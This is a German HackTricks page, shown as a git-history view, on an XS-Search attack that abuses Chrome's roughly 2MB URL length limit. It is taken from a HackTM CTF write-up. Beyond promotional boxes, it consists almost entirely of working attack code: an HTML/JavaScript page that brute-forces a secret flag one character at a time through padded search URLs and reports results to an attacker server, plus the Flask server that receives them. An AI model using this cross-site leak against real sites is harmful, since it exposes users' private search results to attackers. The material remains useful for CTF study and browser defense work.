hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

92 lines
4 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# URL Maximale Länge - Clientseitig
2023-03-05 22:20:47 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-03-05 22:20:47 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
2023-03-05 22:20:47 +00:00
</details>
2024-02-10 15:36:32 +00:00
Code von [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
2023-03-05 22:20:47 +00:00
```html
<html>
<body></body>
<script>
2024-02-10 15:36:32 +00:00
(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
2023-03-05 22:20:47 +00:00
</script>
</html>
```
2024-02-10 15:36:32 +00:00
Serverseite:
2023-03-05 22:20:47 +00:00
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
2024-02-10 15:36:32 +00:00
global chars
2023-03-05 22:20:47 +00:00
2024-02-10 15:36:32 +00:00
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
2023-03-05 22:20:47 +00:00
2024-02-10 15:36:32 +00:00
remaining = [c for c in CHARSET if c not in chars]
2023-03-05 22:20:47 +00:00
2024-02-10 15:36:32 +00:00
print("Remaining: {}".format(remaining))
return "OK"
2023-03-05 22:20:47 +00:00
@app.route('/exploit.html', methods=['GET'])
def exploit():
2024-02-10 15:36:32 +00:00
return open('exploit.html', 'r').read()
2023-03-05 22:20:47 +00:00
if __name__ == '__main__':
2024-02-10 15:36:32 +00:00
app.run(host='0.0.0.0', port=1337)
2023-03-05 22:20:47 +00:00
```
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-03-05 22:20:47 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
2023-03-05 22:20:47 +00:00
</details>